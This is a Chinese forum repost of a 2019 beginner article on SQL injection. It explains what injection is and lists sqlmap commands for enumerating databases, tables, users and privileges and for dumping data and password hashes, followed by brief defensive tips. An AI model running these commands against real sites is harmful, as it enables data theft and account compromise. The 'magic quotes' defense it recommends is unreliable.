搜索

[21] 2019-11-09_web攻防之sql基础知识

文档创建者：s7ckTeam
浏览次数：7
最后更新：2025-01-15
2019-11-09_web攻防之sql基础知识 w e b 攻 防 之 s q l 基 础 知 识 原 创   X 4 s t   7 8 9 0 安 全 攻 防 实 验 室   2 0 1 9 - 1 1 - 0 9
1 ， 什 么 是 s q l ？                 是 一 种 数 据 库 的 命 令 总 集 ， 同 时 呢 是 一 种 数 据 语 言 ， 数 据 库 用 来 储 存 一 些 信 息 ， 数 据 库 有 很 多 中 a c c e s s ， m y s q l ， m s s q l 等 。 2 ， 什 么 是 s q l 注 入 ？                 一 些 网 站 ， 当 用 户 或 者 其 他 的 人 在 网 站 上 进 行 输 入 的 时 候 ， 没 有 对         其 输 入 的 字 符 进 行 合 法 的 判 断 ， 在 执 行 s q l 语 句 的 时 候 ， 出 现 了 保 存 ， 从 而 使 攻 击 者 获 取 她 们 想 要 的 数 据 。 4 ， 为 什 么 会 有 s q l 注 入 ？                 程 序 员 在 编 写 源 代 码 的 时 候 ， 过 滤 的 不 严 谨 ， 进 而 导 致 攻 击 者 利 用 过 滤 不 严 的 漏 洞 进 行 注 入 ， 获 取 她 们 想 要 的 信 息 。 5 ， 如 何 利 用 s q l 注 入 ？                 我 们 可 以 通 过 手 工 注 入 ， 也 可 以 通 过 工 具 进 行 注 入 6 ， 如 何 利 用 s q l m a p 进 行 注 入 ？                 首 先 注 入 的 方 式 主 要 分 为 两 种 ， 因 为 f o r m 提 交 主 要 就 是 这 两 种 ， 下 面 主 要 说 一 下 ， s q l m a p 的 一 些 基 本 操 作 ， 范 例 就 不 截 图 了 。 下 面 主 要 是 s q l m a p 中 运 行 的 语 法 ， 当 然 语 法 有 很 多 ， 这 里 列 举 出 来 的 都 是 一 些 比 较 长 用 的 。 k a l i 里 面 的 话 前 面 就 要 加 p y t h o n s q l m a p . p y   - u   u r l   - - d b s   / / 爆 数 据 库 s q l m a p . p y   - u   u r l   - - c u r r e n t - d b   / / 爆 当 前 库 s q l m a p . p y   - u   u r l   - - c u r r e n t - u s e r   / / 爆 当 前 用 户 s q l m a p . p y   - u   u r l   - - u s e r s       查 看 用 户 权 限 s q l m a p . p y   - u   u r l   - - t a b l e s   - D   数 据 库   / / 爆 表 段 s q l m a p . p y   - u   u r l   - - c o l u m n s   - T   表 段   - D   数 据 库   / / 爆 字 段 s q l m a p . p y   - u   u r l   - - d u m p   - C   字 段   - T   表 段   - D   数 据 库   / / 猜 解 s q l m a p . p y   - u   u r l   - - d u m p   - - s t a r t = 1   - - s t o p = 3   - C   字 段   - T   表 段   - D   数 据 库   / / 猜 解 1 到 3 的 字 段 s q l m a p . p y   - u   u r l     判 断 s q l m a p . p y   - u   u r l   - - i s - d b a   - v       这 是 判 断 当 前 数 据 库 的 使 用 者 是 否 是 d b a s q l m a p . p y   - u   u r l   - - u s e r s   - v   0     这 句 的 目 的 是 列 举 数 据 库 的 用 户 s q l m a p . p y   - u   u r l   - - p a s s w o r d s   - v   0   这 句 的 目 的 是 获 取 数 据 库 用 户 的 密 码 s q l m a p . p y   - u   u r l   - - p r i v i l e g e s   - v   0   这 是 判 断 当 前 的 权 限 s q l m a p . p y   - u   u r l   - - d b s   - v   0   这 句 的 目 的 是 将 所 有 的 数 据 库 列 出 来 s q l m a p . p y   - u   u r l   - - t a b l e s   - D   ' 表 '   爆 表 s q l m a p . p y   - u   u r l   - - c o l u m n s   - T   ‘ 表 ’ - D   ‘ 数 据 库 ’ 爆 列 s q l m a p . p y   - u   u r l   - - d u m p   - T   ' 表 '   - - s t a r t   1   - - s t o p   4   - v   0   这 里 是 查 询 第 2 到 第 4 行 的 内 s q l m a p . p y   - u   u r l   - - d u m p   - a l l   - v   0 7 ， s q l 注 入 有 什 么 样 的 危 害 ？                         攻 击 者 可 以 该 注 入 点 ， 进 行 注 入 ， 对 网 站 做 出 修 改 ， 获 取 管 理 员 权 限 ， 从 而 获 取 系 统 管 理 员 权 限 ， 同 时 呢 ， 她 们 也 可 以 在 网 站 上 挂 马 ， 搞 跳 转 ， 挂 超 链 接 等 ， 对 网 站 和 访 问 者 造 成 不 可 估 计 的 伤 害 。 8 ， 如 何 防 s q l 注 入 ？                 开 启 魔 术 引 号 ， 这 样 能 更 好 的 过 滤 掉 那 些 非 法 字 符 ；
安 装 安 全 狗 ， 加 速 乐 ， 搭 建 w a f 等 ！
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理